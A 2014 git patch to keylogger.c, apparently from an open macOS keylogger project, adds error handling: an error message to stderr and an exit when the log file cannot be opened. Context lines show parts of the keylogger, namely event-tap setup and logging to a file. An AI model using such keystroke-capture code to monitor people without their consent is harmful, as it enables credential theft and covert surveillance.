From d701194d7e5cd7854c47c85787db8a874dcc7a8a Mon Sep 17 00:00:00 2001
From: Casey Scarborough <caseyscarborough@gmail.com>
Date: Thu, 27 Feb 2014 17:16:44 -0500
Subject: [PATCH] Exit program when unable to open log file.

---
 keylogger.c | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/keylogger.c b/keylogger.c
index 3a62b5c..bda4216 100644
--- a/keylogger.c
+++ b/keylogger.c
@@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) {
 
     // Exit the program if unable to create the event tap.
     if(!eventTap) {
-        printf("Unable to create event tap.\n");
+        fprintf(stderr, "ERROR: Unable to create event tap.\n");
         exit(1);
     }
 
@@ -19,6 +19,7 @@ int main(int argc, const char *argv[]) {
     CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
     CGEventTapEnable(eventTap, true);
 
+
     // Clear the logfile if clear argument used or log to specific file if given.
     if(argc == 2) {
         if(strcmp(argv[1], "clear") == 0) {
@@ -35,6 +36,11 @@ int main(int argc, const char *argv[]) {
     time_t result = time(NULL);
     logfile = fopen(logfileLocation, "a");
     
+    if (!logfile) {
+        fprintf(stderr, "ERROR: Unable to open log file. Ensure that you have the proper permissions.\n");
+        exit(1);
+    }
+
     // Output to logfile.
     fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
     fflush(logfile);